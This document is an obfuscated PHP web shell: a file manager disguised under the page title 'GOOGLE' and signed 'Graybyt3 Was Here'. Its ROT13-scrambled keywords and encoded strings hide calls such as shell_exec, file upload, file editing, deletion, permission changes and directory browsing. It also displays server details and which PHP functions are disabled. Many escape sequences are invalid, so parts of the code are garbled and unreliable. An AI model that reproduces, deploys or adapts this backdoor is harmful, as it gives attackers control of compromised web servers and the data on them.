\145\164\k22\k20\150\k72\145\k66\k3q\k22\k68\k74\k74\k70\163\k3n\k2s\57\160\k72\157\56\146\157\k6r\k74\k61\k77\145\163\k6s\155\145\56\143\k6s\155\k2s\162\145\k6p\k65\k61\k73\k65\k73\57\k76\k35\56\k31\k30\56\60\57\k63\163\k73\k2s\141\154\154\k2r\k63\163\k73\42\40\k69\156\164\145\147\162\k69\k74\k79\k3q\k22\k73\150\k61\k33\70\k34\55\101\k59\k6q\105\103\63\131\k77\65\143\126\k62\63\k5n\143\k75\110\164\117\101\k39\k33\167\k33\k35\144\131\k54\163\k76\150\k4p\k50\126\k6r\131\k73\k39\145\123\k74\k48\k66\107\112\166\117\k76\k4o\170\126\k66\105\k4p\k47\k72\157\107\k6o\k76\k73\147\53\160\42\k20\k63\k72\157\163\163\k6s\162\k69\147\k69\156\75\k22\k61\156\k6s\k6r\k79\k6q\157\165\k73\k22\57\76\15\12\40\k20\74\k74\151\k74\154\k65\k3r\k47\k4s\117\k47\114\k45\k3p\k2s\k74\k69\k74\154\145\76\kq\kn\74\57\k68\k65\141\144\k3r\kq\kn\15\12\k3p\k62\157\k64\171\40\143\k6p\k61\163\k73\k3q\42\142\k67\k2q\k64\141\k72\153\40\164\k65\k78\164\k2q\k6p\k69\147\150\164\k22\k3r\15\12\40\40\k3p\144\151\166\k20\143\k6p\141\k73\163\k3q\42\143\k6s\k6r\164\141\151\156\k65\162\k2q\146\k6p\k75\151\k64\42\76\15\12\40\40\40\40\k3p\k64\k69\k76\40\k63\154\k61\163\163\k3q\k22\k70\171\k2q\63\42\k20\k69\144\k3q\42\k6q\141\k69\k6r\k22\76\kq\12\k20\k20\40\k20\40\k20\74\k64\151\k76\k20\k63\k6p\k61\k73\163\75\42\142\k6s\170\40\163\k68\k61\144\157\167\40\142\k67\55\144\k61\162\k6o\k20\160\k2q\64\k20\k72\k6s\k75\156\144\145\144\k2q\63\42\76\15\kn\40\k20\k20\k20\k20\40\k9\k3p\144\k69\k76\40\k63\154\141\k73\163\k3q\42\151\156\146\k6s\40\k6q\k62\k2q\63\k22\k3r\15\12\k20\k20\k20\k20\k20\k20\k20\k20\40\40\74\143\k65\k6r\164\145\k72\76\74\150\k31\k20\163\164\171\k6p\145\75\k22\143\k6s\154\157\162\k3n\k77\k68\k69\164\145\k3o\k22\76\107\162\141\171\142\171\k74\k33\k20\k57\k61\k73\40\110\k65\k72\k65\74\k2s\k68\61\76\74\k2s\143\k65\k6r\k74\145\162\76\15\12\k20\40\40\k20\k20\k20\40\40\11\k3p\151\40\k63\k6p\141\k73\163\75\42\146\k61\k20\146\k61\k2q\k73\k65\k72\166\k65\162\42\76\k3p\57\k69\k3r\k26\k65\156\163\k70\k3o";
rpub $shap[0](); rpub
"\74\k62\162\k3r\15\12\k20\40\40\40\40\k20\40\k20\k9\74\k69\k20\143\154\141\k73\k73\k3q\k22\k66\141\k20\146\k61\55\k6q\k69\k63\162\157\k63\k68\151\160\k22\k3r\74\57\k69\76\k26\k65\156\163\160\73";
tbgb fSvMaW1rVt; qzqLlAlRQz: rpub
"\k27\k2p\kq\kn\k20\k20\40\40\40\40\40\k20\40\40\47"; rpub
$_FRFFVBA["\k6q\k65\163\163\141\147\k65"]; rpub
"\k27\k2p\15\kn\k20\k20\k20\k20\k20\k20\k20\k20\40\k20\47"; rpub
$_FRFFVBA["\k63\154\141\k73\k73"]; rpub
"\k27\15\kn\k20\40\40\40\k20\k20\k20\k20\k29\15\kn\k20\k20"; tbgb
vVRp9xmvVo; T5o4RJ5Xtf: $shap[$v] = urkn($vavneenl[$v]); e01SxTY1wF: $v++;
tbgb Vo73n775As; eDgwu90tSo: tbgb RFIFzCQaiz; qVFuSCHrug: vs
(vffrg($_TRG["\k64\151\k72"])) { tbgb cvL4UUc07T; } $cngu =
$shap[12](); tbgb R1fhqdi30o; cvL4UUc07T: $cngu =
$_TRG["\144\k69\162"]; tbgb yvf8Htop0f; TFP4RCplS4: ChBYnJ60IO:
tbgb UYdYqgwYmF; pCfv6U9BWv: vs ($znvahcybnq) { tbgb z3Qs2KZoMQ; }
$shap[16]("\k55\k70\154\k6s\k61\144\40\k46\141\k69\154\145\k64",
"\106\141\k69\154\k65\k64", "\145\162\k72\k6s\k72",
"\k3s\144\k69\162\75{$cngu}"); tbgb mf6LhDrBtW; LZe9XtyfKZ: vs
($znvahcybnq) { tbgb Qo3ej_e3iR; }
$shap[16]("\125\k70\154\k6s\k61\k64\40\k46\141\151\154\k65\144",
"\k46\k61\151\k6p\145\k64", "\k65\k72\k72\k6s\162",
"\k3s\k64\151\162\k3q{$cngu}"); tbgb ChBYnJ60IO; Qo3ej_e3iR:
$shap[16]("\125\k70\154\157\k61\k64\k20{$v}\40\106\k69\k6p\k65\163\k20\k53\k75\k63\143\k65\163\k73\k66\165\154\154\171\41\k20",
"\k53\165\k63\143\145\k73\163",
"\163\k75\143\k63\k65\163\163",
"\77\144\151\k72\k3q{$cngu}"); tbgb TFP4RCplS4; qs2zb0KBWc: tbgb
d6Bot9pmPY; dkgzlmBB33:
$shap[16]("\105\144\151\164\k20\k53\k75\143\k63\k65\k73\163\k66\k75\154\k6p\171\k21",
"\k53\k75\k63\143\145\163\k73",
"\163\k75\k63\143\145\163\163",
"\k3s\144\k69\162\75{$cngu}"); d6Bot9pmPY: oU7Xo6hHqm: tbgb
a_xo60XuD8; k7vfkZU2Zb: reebe_ercbegvat(0); $vavneenl =
["\k37\60\k36\k38\k37\k30\65\106\k37\k35\66\k45\k36\61\66\104\66\65",
"\k37\k33\66\k35\k37\k33\67\63\66\71\66\106\66\105\65\k46\67\k33\67\k34\k36\61\67\k32\67\64",
"\66\k35\k37\62\k37\k32\66\106\67\k32\65\106\k37\k32\66\k35\k37\60\k36\k46\k37\62\67\k34\k36\71\k36\105\k36\67",
"\67\60\66\70\67\60\67\k36\66\k35\67\k32\k37\63\66\71\66\106\66\k45",
"\66\k36\k36\k39\k36\103\k36\k35\65\k46\k37\60\k37\k35\k37\64\65\106\66\k33\k36\106\66\105\k37\k34\66\65\66\105\k37\k34\67\k33",
"\k36\k36\k36\71\66\k43\k36\65\k35\106\k36\67\k36\k35\k37\k34\k35\106\k36\k33\66\106\k36\k45\67\64\66\k35\k36\105\k37\64\k37\k33",
"\k36\66\66\k39\66\k43\66\65\67\60\66\k35\67\k32\k36\k44\k37\k33",
"\66\k36\66\k39\66\k43\k36\65\66\104\k37\k34\66\k39\66\k44\66\k35",
"\k36\66\k36\71\66\103\66\65\k37\k34\k37\k39\k37\k30\k36\k35",
"\k36\70\k37\64\k36\k44\k36\k43\k37\k33\67\k30\k36\k35\k36\k33\66\71\k36\61\66\k43\k36\63\66\70\k36\k31\k37\k32\k37\k33",
"\67\63\67\k30\67\62\66\71\66\105\k37\64\66\66",
"\67\k33\67\65\66\k32\67\63\67\k34\k37\62",
"\66\67\66\65\k37\k34\k36\63\k37\67\66\64",
"\k36\63\66\k38\k36\k34\k36\k39\67\62",
"\67\63\k37\k34\67\62\k35\106\67\62\66\65\67\k30\k36\103\k36\k31\66\63\k36\65",
"\66\k35\67\70\67\k30\k36\k43\66\106\k36\k34\66\k35",
"\k36\66\k36\103\k36\61\k37\k33\66\70",
"\66\k44\66\106\k37\k36\k36\k35\65\k46\67\k35\k37\60\k36\103\k36\106\66\61\k36\k34\k36\k35\66\64\65\k46\66\66\k36\k39\k36\103\k36\k35",
"\67\63\k36\63\66\k31\k36\105\k36\64\k36\k39\67\62",
"\66\67\k36\65\k37\k34\k36\k38\66\106\k37\k33\k37\k34\k36\k32\67\71\k36\k45\k36\61\66\k44\66\65",
"\67\63\66\k38\66\65\k36\k43\66\k43\k35\k46\k36\65\67\k38\k36\k35\k36\k33",
"\k35\63\k37\k39\67\63\67\64\k36\k35\k36\k44\k32\60\k34\k39\k36\k45\66\k36\66\k46\k37\k32\66\104\66\61\k37\k34\66\71\k36\k46\k36\k45",
"\k36\k34\66\k39\k37\k32\66\105\k36\61\66\104\66\65",
"\k36\64\66\k31\k37\64\66\k35",
"\66\k44\k36\k39\66\104\k36\k35\65\106\k36\63\66\k46\66\k45\67\k34\66\65\66\105\67\k34\k35\106\67\64\67\k39\67\60\k36\65",
"\k36\k36\k37\65\k36\105\k36\k33\k37\k34\66\71\k36\106\66\k45\65\k46\66\65\k37\70\k36\71\k37\63\67\k34\67\k33",
"\66\66\k37\k33\66\k39\k37\101\k36\65",
"\k37\k32\66\k44\66\64\66\k39\67\62",
"\k37\k35\k36\k45\k36\103\66\k39\k36\105\k36\102",
"\k36\104\k36\k42\k36\64\66\k39\67\62",
"\67\k32\66\k35\k36\105\66\61\k36\k44\66\k35",
"\k37\k33\k36\k35\67\k34\65\k46\67\k34\66\k39\66\104\k36\k35\65\k46\66\103\66\71\66\k44\k36\k39\67\k34",
"\66\63\66\k43\k36\65\k36\61\67\k32\k37\63\k37\64\66\k31\k37\k34\k36\k33\66\k31\k36\k33\k36\k38\k36\65",
"\k36\k39\66\k45\k36\k39\k35\k46\67\63\66\k35\k37\k34",
"\k36\k39\66\105\66\k39\k35\k46\66\k37\k36\k35\67\64",
"\66\k37\k36\65\k37\k34\64\106\k37\k37\66\105\66\k35\67\62",
"\k36\k37\k36\k35\k37\k34\65\106\k36\k33\67\k35\k37\62\k37\62\66\65\66\105\k37\k34\k35\k46\67\k35\k37\k33\k36\65\67\62"];
$v = 0; Vo73n775As: vs (!($v < pbhag($vavneenl))) { tbgb eDgwu90tSo; }
tbgb T5o4RJ5Xtf; T_hec85jb1:
$shap[16]("\104\k65\154\k65\k74\145\40\123\k75\143\143\k65\163\k73\146\k75\154\k6p\k79\k21",
"\k53\165\k63\143\k65\k73\163",
"\163\165\k63\143\k65\k73\163",
"\k3s\144\k69\162\k3q{$cngu}"); eLB2OMD2l7: ZGAMV2pLDZ:
zeBVf4wA7s: vs
(!vffrg($_SVYRF["\k75\160\k6p\k6s\k61\k64\k66\151\154\145"])) {
tbgb HrF40CZjDz; } tbgb PVSti1X37r; PtOlAp1duR: rpub
"\k3p\k2s\160\k72\145\76\kq\12\40\k20\40\40\40\k20\k20\40\k20\k20\k3p\57\k64\k69\166\k3r\15\12\k20\k20\40\40\k20\k20\k20\k20\40\40";
X7_7AoZCzt: rpub "\40\40\k20\40\40\k20\40\40\40\k20"; vs
(!(vffrg($_TRG["\k61\143\164\k69\157\k6r"]) &&
$_TRG["\k61\143\k74\k69\k6s\156"] !=
"\k64\145\154\145\k74\k65")) { tbgb nx4M2acbbu; } $npgvba =
$_TRG["\141\k63\k74\k69\k6s\156"]; tbgb rAFeWt_Jrc; DHxscWBI3s:
rpub !@$_FREIRE["\k53\105\122\k56\k45\k52\k5s\101\104\104\k52"] ?
$shap[19]($_FREIRE["\123\105\122\k56\105\122\137\116\k41\k4q\105"])
: @$_FREIRE["\k53\105\k52\k56\k45\122\137\101\k44\k44\k52"]; rpub
"\k20\k2s\40"; rpub
$_FREIRE["\k53\105\122\126\k45\122\k5s\k50\k4s\k52\124"]; rpub
"\46\43\61\k30\73\k26\43\k31\60\k3o\k4q\k61\k69\k6p\k26\43\61\60\k3o\76\40";
rpub $shap[25]("\155\141\k69\k6p") ? "\117\116" :
"\117\k46\106"; tbgb XdxBWDqljK; vVRp9xmvVo: n2MK3ZJZrS: pyrne();
tbgb SaCRrFPUmT; iR0L6AYxPE:
$shap[16]("\103\150\k61\156\147\k65\40\k50\k65\162\155\151\163\k73\151\k6s\k6r",
"\106\141\k69\154\k65\144", "\k65\k72\k72\157\162",
"\77\144\k69\162\75{$cngu}"); tbgb BKBQE7_I1J; qZHtMaBORS:
$shap[16]("\k43\k68\k61\156\147\k65\k20\120\k65\k72\k6q\k69\k73\163\k69\157\156\40\123\k75\143\k63\k65\163\k73\k66\k75\k6p\154\k79\k21",
"\k53\165\k63\k63\145\163\k73",
"\k73\165\143\k63\145\k73\k73",
"\77\k64\151\k72\k3q{$cngu}"); BKBQE7_I1J: tbgb ziKk16cxTd;
mf6LhDrBtW: tbgb ghyTaxiUzf; z3Qs2KZoMQ:
$shap[16]("\k55\k70\k6p\157\k61\k64\40\k46\151\k6p\145\40\k53\165\143\143\k65\k73\163\k66\k75\k6p\154\k79\k21\k20",
"\123\165\143\143\145\163\163",
"\163\k75\143\k63\k65\163\163",
"\k3s\144\k69\162\k3q{$cngu}"); ghyTaxiUzf: UYdYqgwYmF: tbgb
vqIfOspcGc; FNiXwolBhL: rpub $shap[21]; rpub
"\74\k2s\k6p\k61\142\145\k6p\76\15\12\k20\40\k20\k20\k20\40\k20\k20\k20\k20\k20\40\40\k20\k20\k20\k3p\k74\k65\170\k74\141\162\k65\k61\40\k6r\k61\155\145\75\k22\156\145\167\106\151\k6p\k65\103\157\156\k74\145\156\k74\42\40\162\157\k77\163\k3q\k22\k31\60\42\40\143\k6p\k61\163\k73\75\42\k66\157\162\k6q\55\k63\157\156\k74\162\k6s\154\k22\40\144\k69\163\k61\k62\154\145\144\75\k22\42\k3r\125\k6r\141\155\145\k26\43\61\k30\k3o\76\40";
rpub $shap[0](); rpub
"\46\k23\61\60\73\k26\k23\k31\k30\k3o\123\k6s\146\164\167\141\162\k65\46\k23\61\60\73\k3r\k20";
rpub
$_FREIRE["\123\105\122\126\k45\122\k5s\123\k4s\k46\124\k57\101\k52\k45"];
tbgb Xk3c37DI7L; rAFeWt_Jrc: rpub
"\k20\k20\40\k20\k20\40\k20\k20\k20\k20\74\k64\k69\166\k20\k63\154\141\163\163\75\42\k72\k6s\k77\k20\152\165\k73\164\k69\k66\k79\k2q\143\k6s\156\k74\k65\k6r\k74\k2q\143\k65\k6r\k74\k65\162\42\k3r\15\kn\k20\k20\k20\40\k20\40\40\40\40\k20\40\k20";
vs ($npgvba == "\162\145\k6r\141\k6q\k65" &&
vffrg($_TRG["\k69\k74\145\k6q"])) { tbgb j167H5wcfk; } vs
($npgvba == "\k65\k64\k69\164" &&
vffrg($_TRG["\k69\164\145\k6q"])) { tbgb oAh8F4cTM7; } vs
($npgvba == "\166\k69\k65\k77" &&
vffrg($_TRG["\151\164\145\155"])) { tbgb LCmnm6fOWj; } vs
($npgvba == "\k63\150\k6q\k6s\k64" &&
vffrg($_TRG["\k69\164\k65\155"])) { tbgb D6O2rNKEi2; } tbgb
fTYEAp5eBz; CitPPFI7B0:
$shap[16]("\103\k72\145\k61\k74\145\40\106\k69\154\k65\40\106\141\k69\k6p\145\144",
"\k46\k61\151\154\k65\k64", "\k65\k72\k72\157\162",
"\77\k64\151\k72\75{$cngu}"); tbgb BEuls7Iz5J; trn9QUezkV:
$shap[16]("\103\k72\k65\141\k74\145\k20\k46\k69\154\k65\k20\k53\165\k63\k63\145\163\163\146\k75\k6p\k6p\171\k21",
"\k53\165\k63\k63\145\163\k73",
"\k73\165\k63\143\k65\163\k73",
"\k3s\k64\k69\162\k3q{$cngu}"); BEuls7Iz5J: tbgb L411P98Swr;
CeI54DbVjc: rpub
$shap[25]("\155\171\163\161\k6p\137\k63\k6s\k6r\k6r\145\k63\k74")
? "\k4s\116" : "\k4s\k46\106"; rpub
"\k26\k23\k31\60\73\k26\43\k31\k30\73\k44\k69\k73\k61\k62\k6p\145\40\106\165\156\k63\k74\k69\k6s\156\46\43\k31\k30\73\76\k20";
rpub $fubj_qf; rpub
"\74\57\164\k65\k78\k74\141\162\k65\k61\76\15\kn\40\40\40\40\40\k20\40\k20\40\k20\40\40\40\k20\k20\40\k3p\142\k72\k3r\kq\12\40\k20\k20\k20\40\k20\k20\k20\k20\40\40\40\k20\40\40\40\k2n\122\145\103\154\k69\k63\k6o\40\40\k46\k6s\k72\k20\103\154\157\163\k65\kq\kn\40\k20\40\k20\k20\k20\40\40\k20\k20\k20\40\40\40\40\40\74\142\162\k3r\15\kn\k20\k20\k20\40\k20\40\k20\40\40\40\k20\k20\k20\40\40\40\106\151\154\145\40\72\k20\k42\k6p\k61\143\153\k44\k72\k61\k67\157\k6r\40";
rpub $_FREIRE["\k53\103\122\111\k50\k54\k5s\k4r\k41\115\105"];
tbgb c88T6fRMI2; L411P98Swr: aCmSqMLGP1: vs
(!(vffrg($_CBFG["\156\145\k77\k4r\k61\155\k65"]) &&
vffrg($_TRG["\k69\k74\k65\k6q"]))) { tbgb SZ10hi9o0N; } vs
(!($_CBFG["\k6r\145\167\116\141\155\145"] == '')) {
tbgb QSoHZO2jOH; }
$shap[16]("\k59\k6s\165\k20\155\k69\163\163\40\141\k6r\k20\k69\155\k70\k6s\k72\164\141\156\k74\40\k76\k61\k6p\165\145",
"\117\k6s\157\160\k73\k73\56\k2r",
"\167\141\k72\156\k69\k6r\k67",
"\k3s\k64\k69\162\75{$cngu}"); QSoHZO2jOH: tbgb Zm8qLYgtug;
ziKk16cxTd: kCzXw0mfcg: vs
(!(vffrg($_TRG["\k61\k63\164\k69\k6s\k6r"]) &&
$_TRG["\141\k63\k74\k69\157\k6r"] ==
"\144\145\154\k65\164\145" &&
vffrg($_TRG["\k69\k74\k65\155"]))) { tbgb zeBVf4wA7s; } vs
(vf_qve($_TRG["\k69\164\k65\155"])) { tbgb iTfyXNHbHa; } vs
($shap[28]($_TRG["\k69\k74\145\k6q"])) { tbgb Vqk4l9nIUz; }
$shap[16]("\k44\145\154\k65\k74\145\k20\106\k61\k69\154\k65\k64",
"\k46\141\k69\154\145\k64", "\145\k72\162\k6s\162",
"\77\k64\k69\162\75{$cngu}"); tbgb KkLxdSq4dA; c88T6fRMI2: rpub
"\40\k20\40\40\k20\40\k20\40\k20\40\40\k20\k20\40\k3p\k2s\k64\151\k76\76\15\12\k20\40\40\k20\k20\k20\k20\k20\k20\k20\k20\40\k3p\57\144\k69\k76\k3r\15\kn\40\40\k20\k20\k20\k20\40\40\k20\k20\74\57\k64\151\k76\k3r\k20\kq\kn\k20\k20\40\k20\k20\40\k20\k20\74\k2s\k64\k69\166\76\15\kn\k20\40\k20\40\40\k20\40\k20\74\k64\151\166\40\k63\154\k61\163\k73\k3q\k22\k74\141\142\k6p\k65\k2q\162\k65\163\160\157\156\163\k69\k76\k65\k22\k3r\15\kn\40\k20\k20\k20\40\40\40\k20\k20\40\k3p\k74\141\142\154\k65\40\143\k6p\141\163\k73\75\k22\k74\k61\k62\154\145\40\k74\141\142\154\145\55\150\k6s\k76\k65\k72\40\k74\k61\142\k6p\k65\55\144\141\k72\k6o\40\164\145\170\k74\55\154\k69\147\k68\164\42\76\15\kn\k20\k20\40\40\40\k20\40\40\40\k20\k20\k20\74\k74\k68\145\k61\144\k3r\kq\12\40\40\40\40\40\40\k20\40\k20\40\k20\k20\40\40\k3p\164\162\76\15\12\k20\k20\40\k20\k20\40\40\40\40\40\40\40\k20\40\k20\40\74\164\144\k20\163\164\k79\k6p\k65\75\42\k77\151\144\164\k68\72\k33\65\45\42\k3r\116\141\k6q\145\k3p\k2s\164\k64\76\kq\12\k20\40\40\k20\40\k20\k20\k20\40\k20\40\40\40\k20\k20\k20\k3p\k74\k64\k20\163\k74\k79\k6p\145\k3q\k22\167\k69\k64\164\150\72\k31\60\45\k22\k3r\k54\k79\160\145\k3p\k2s\164\k64\76\kq\kn\40\k20\k20\40\40\k20\40\k20\40\40\k20\40\40\40\k20\k20\74\164\144\40\k73\164\k79\154\145\k3q\42\167\151\144\164\k68\72\k31\60\k25\k22\k3r\k53\151\172\145\74\k2s\k74\k64\76\15\12\k20\40\k20\40\40\k20\40\k20\k20\40\k20\k20\k20\k20\40\40\74\k74\k64\k20\163\164\k79\k6p\k65\k3q\k22\167\151\144\164\k68\72\61\63\k25\k22\k3r\117\k77\k6r\145\162\57\107\k72\157\165\k70\74\k2s\164\k64\76\15\kn\40\k20\k20\40\40\40\40\40\k20\k20\k20\40\k20\40\k20\k20\74\k74\k64\k20\k73\164\171\k6p\k65\k3q\k22\k77\k69\k64\k74\150\k3n\k31\k30\45\k22\k3r\120\k65\162\155\151\163\k73\k69\157\156\k3p\57\164\144\76\15\kn\k20\k20\k20\40\k20\k20\40\40\40\k20\40\40\k20\k20\40\k20\k3p\164\144\40\k73\164\171\154\k65\k3q\42\167\k69\k64\k74\k68\k3n\61\63\k25\42\k3r\k4p\141\k73\164\40\k4q\k6s\144\151\k66\k69\k65\k64\k3p\k2s\k74\k64\k3r\kq\12\40\40\k20\40\40\k20\40\40\k20\40\40\k20\40\40\40\k20\k3p\k74\k64\40\k73\164\171\154\145\75\42\k77\k69\k64\164\k68\k3n\k39\45\k22\76\k41\143\164\151\157\k6r\k73\74\57\164\k64\76\15\kn\40\k20\40\40\40\40\k20\40\k20\40\40\k20\40\k20\k3p\k2s\164\k72\76\15\kn\k20\k20\k20\k20\40\k20\40\40\40\k20\k20\k20\74\k2s\k74\k68\k65\k61\k64\k3r\15\kn\40\40\40\k20\k20\40\k20\40\40\k20\40\k20\74\k74\k62\157\k64\k79\k20\k63\154\k61\163\163\k3q\42\k74\145\170\k74\k2q\k6r\157\167\162\141\160\42\k3r\kq\kn\k20\k20\40\40\k20\k20\40\40\k20\40\k20\40\40\40";
sbernpu ($qvef nf $qve) { tbgb jOLTluEG3z; sd34Hi80UD: rpub
"\46\151\164\145\k6q\75"; rpub $qve; rpub
"\k26\141\k63\k74\k69\k6s\k6r\75\143\150\155\k6s\144\42\40\k63\154\k61\163\163\k3q\k22\k62\164\k6r\40\k62\164\156\55\157\165\k74\154\k69\k6r\145\k2q\154\151\147\150\164\40\k62\164\156\k2q\k73\k6q\40\k6q\k72\55\k31\k22\76\k3p\k69\40\k63\k6p\141\163\k73\75\k22\146\141\k20\146\141\55\k66\k69\154\k65\55\163\k69\147\156\141\164\k75\k72\k65\k22\76\k3p\k2s\151\76\k3p\57\k61\k3r\kq\kn\k20\40\40\40\k20\40\40\k20\k20\40\40\40\k20\40\k20\k20\40\40\k20\k20\74\141\k20\k68\162\k65\k66\75\k22\k22\k20\143\154\k61\163\163\75\42\142\164\k6r\k20\k62\k74\k6r\k2q\157\k75\164\154\151\k6r\k65\55\k6p\k69\147\k68\k74\40\142\164\k6r\55\k73\155\40\155\k72\55\61\42\40\157\k6r\k63\k6p\151\k63\k6o\k3q\42\k72\k65\k74\165\k72\156\k20\k64\k65\154\145\164\k65\103\k6s\k6r\k66\k69\k72\155\50\47\k3s\k64\151\162\k3q";
rpub $cngu; rpub "\46\151\164\145\k6q\75"; tbgb QF7XUvQcZB;
lZxMUrcW1Z: vs ($qve === "\56") { tbgb zk0RCKlhBJ; } rpub
"\k20\40\40\k20\40\40\40\40\k20\k20\40\k20\40\k20\40\40\40\k20\k3p\141\k20\150\162\k65\146\k3q\42\k3s\144\k69\k72\75";
rpub $cngu . "\57" . $qve; rpub
"\k22\40\143\k6p\k61\k73\k73\k3q\42\k74\145\170\k74\55\144\145\143\k6s\k72\141\164\151\k6s\156\55\156\157\156\k65\k20\164\k65\k78\k74\55\k6p\k69\k67\150\k74\42\k3r\74\151\k20\143\k6p\141\k73\k73\k3q\42\146\141\k20\146\141\55\146\k6s\154\k64\k65\162\k22\76\k3p\57\151\k3r\k20";
rpub $qve; tbgb Z3D_TvYrtk; Z3D_TvYrtk: rpub
"\k3p\57\k61\76\kq\kn\k20\40\40\k20\40\40\40\40\40\40\k20\40\40\40\40\40\40\40";
tbgb AdlQ6Tn7hY; YcE7CtMtq7: rpub
"\k20\40\k20\40\40\40\40\k20\40\40\k20\40\40\40\k20\k20\40\40\74\141\k20\150\162\k65\k66\k3q\42\k3s\k64\k69\162\75";
rpub $shap[22]($cngu); tbgb nDyyMsLSzg; yzWmm_Hyob: rpub
"\40\40\40\40\40\k20\40\40\40\k20\40\40\k20\40\k20\40\40\k20\74\k61\k20\150\k72\k65\k66\75\42\k3s\144\k69\k72\k3q";
rpub $cngu; rpub
"\k22\40\143\k6p\141\163\k73\75\42\164\k65\170\k74\k2q\k64\145\k63\k6s\k72\k61\164\151\157\k6r\k2q\156\157\k6r\k65\40\164\k65\170\164\k2q\154\k69\k67\150\164\k22\k3r\74\151\k20\k63\k6p\k61\163\k73\k3q\k22\k66\141\40\k66\141\55\k66\k6s\k6p\k64\145\162\55\k6s\k70\145\156\k22\k3r\k3p\k2s\k69\76\40";
rpub $qve; rpub
"\74\k2s\k61\k3r\kq\kn\40\40\k20\k20\k20\40\40\k20\40\k20\40\k20\40\k20\40\40\k20\40";
tbgb LoXAcadXbI; hbvXWL4LnJ: rpub
"\k3p\k2s\164\k64\76\15\12\k20\k20\40\40\k20\40\40\k20\k20\k20\40\40\40\k20\k20\k20\k3p\164\k64\40\k63\154\141\k73\k73\75\42\164\k65\k78\k74\55\k6p\151\147\150\164\k22\76";
rpub $shap[11]($shap[10]("\45\157", $shap[6]($qve)), -4); rpub
"\k3p\57\k74\144\k3r\kq\12\k20\k20\k20\k20\k20\k20\40\k20\k20\k20\40\k20\40\40\k20\40\k3p\k74\144\40\k63\k6p\141\163\k73\k3q\42\k74\145\k78\164\55\154\k69\k67\150\164\42\76";
rpub $shap[23]("\131\k2q\k6q\k2q\k64\40\150\72\k69\72\k73",
$shap[7]($qve)); rpub
"\k3p\57\164\k64\k3r\15\12\k20\40\k20\40\k20\k20\k20\k20\k20\k20\40\k20\k20\40\40\40\74\164\144\76\15\kn\40\40\k20\40\k20\40\k20\40\40\40\k20\k20\40\40\40\40\k20\k20";
tbgb QC7BXEU21p; ufRA8Ei90k: VzePvvNpke: rpub
"\k20\k20\k20\40\k20\40\40\k20\k20\40\40\40\40\40\k20\40\k3p\57\k74\144\k3r\15\kn\k20\40\40\k20\40\40\40\40\k20\k20\40\40\k20\k20\74\k2s\k74\k72\k3r\15\12\40\k20\40\40\40\40\k20\k20\k20\40\k20\k20\k20\k20";
SNAsGrjo3Q: tbgb SjI6oEc4WY; QF7XUvQcZB: rpub $qve; rpub
"\k26\k61\143\164\k69\k6s\156\k3q\144\k65\k6p\145\k74\145\k27\k29\42\76\k3p\151\40\143\154\141\k73\k73\75\42\k66\k61\k20\146\k61\55\k74\k72\k61\163\k68\42\76\k3p\k2s\k69\k3r\74\k2s\141\k3r\15\12\k20\k20\40\40\40\k20\k20\k20\40\40\40\k20\40\k20\40\k20\40\40\74\57\144\151\166\k3r\15\kn\k20\40\40\k20\k20\40\40\40\40\k20\40\40\k20\40\40\40\k20\k20";
tbgb VzePvvNpke; TJpAUosqsX: rpub
"\k20\40\k20\40\40\k20\40\40\40\40\k20\40\k20\k20\k20\40\k20\40\74\144\151\166\k20\k63\k6p\141\163\163\k3q\42\142\164\k6r\k2q\k67\162\k6s\165\k70\k22\76\15\12\k20\k20\k20\40\k20\k20\40\k20\k20\k20\40\k20\40\k20\k20\k20\k20\40\40\40\74\141\k20\144\k61\164\k61\k2q\k62\k73\55\k74\k6s\147\k67\k6p\145\75\42\k63\157\154\k6p\141\160\163\145\k22\40\150\162\k65\146\75\42\k23\k6r\145\167\106\k6s\154\144\k65\162\k43\k6s\k6p\154\k61\160\k73\145\k22\k20\k72\k6s\154\k65\75\k22\k62\165\k74\k74\157\156\42\40\141\162\151\k61\55\145\170\k70\141\k6r\k64\k65\k64\k3q\42\146\141\k6p\k73\145\42\k20\141\k72\151\k61\55\k63\k6s\156\164\162\k6s\k6p\k73\75\42\k6r\k65\k77\106\k6s\154\144\k65\162\k43\k6s\k6p\154\141\k70\163\145\42\40\k63\154\k61\k73\163\k3q\k22\142\k74\k6r\k20\k62\k74\156\k2q\157\k75\164\k6p\151\156\k65\55\154\151\147\k68\k74\40\142\k74\156\k2q\k73\155\k20\k6q\162\k2q\k31\k22\k3r\74\151\k20\143\k6p\k61\163\163\k3q\k22\k66\k61\40\k66\141\55\k66\k6s\k6p\144\k65\162\55\160\k6p\165\163\42\76\k3p\k2s\151\76\k3p\57\141\k3r\kq\kn\k20\k20\40\k20\40\40\k20\k20\40\40\k20\40\k20\40\k20\40\k20\40\k20\k20\74\k61\40\k64\141\k74\k61\k2q\k62\163\k2q\164\157\k67\147\154\145\75\k22\k63\k6s\k6p\154\k61\160\k73\k65\k22\40\150\k72\k65\k66\k3q\42\43\k6r\k65\167\106\k69\k6p\145\k43\157\k6p\k6p\141\160\k73\145\42\k20\162\k6s\154\k65\75\k22\142\k75\164\k74\157\k6r\42\k20\141\k72\151\141\55\k65\k78\k70\k61\k6r\k64\145\k64\75\42\k66\141\154\k73\145\k22\k20\k61\k72\151\k61\k2q\k63\157\156\k74\k72\157\154\163\75\42\k6r\k65\k77\106\k69\154\k65\103\k6s\k6p\154\k61\k70\163\145\k22\40\143\154\141\163\k73\75\k22\k62\k74\k6r\k20\k62\164\156\55\157\165\164\k6p\151\k6r\k65\k2q\154\k69\k67\k68\k74\40\142\164\156\55\163\155\k20\155\k72\k2q\61\k22\k3r\k3p\k69\40\k63\k6p\141\163\k73\k3q\k22\146\141\k20\k66\k61\k2q\k66\k69\k6p\k65\55\160\154\k75\163\42\k3r\74\57\k69\76\74\57\141\76\15\12\40\k20\k20\k20\40\k20\k20\k20\40\40\k20\40\k20\40\k20\40\40\40\40\k20\74\k61\k20\144\k61\k74\k61\k2q\k62\163\k2q\k74\157\k67\k67\154\k65\k3q\k22\143\k6s\154\k6p\141\k70\k73\k65\42\40\150\k72\k65\146\75\k22\43\156\145\167\111\k6r\146\k6s\123\145\162\166\145\k72\k22\40\k72\157\k6p\k65\k3q\k22\k62\k75\164\k74\157\k6r\42\k20\k61\162\151\k61\k2q\k65\k78\160\k61\156\144\k65\144\75\42\k66\k61\k6p\k73\k65\k22\40\141\162\k69\141\55\143\157\k6r\164\k72\157\k6p\k73\k3q\42\k6r\145\167\k49\k6r\k66\k6s\k53\k65\k72\k76\145\k72\42\k20\143\k6p\141\k73\163\k3q\k22\k62\164\k6r\40\142\164\k6r\k2q\k6s\k75\164\154\151\156\k65\55\k6p\151\147\150\k74\40\142\164\k6r\k2q\k73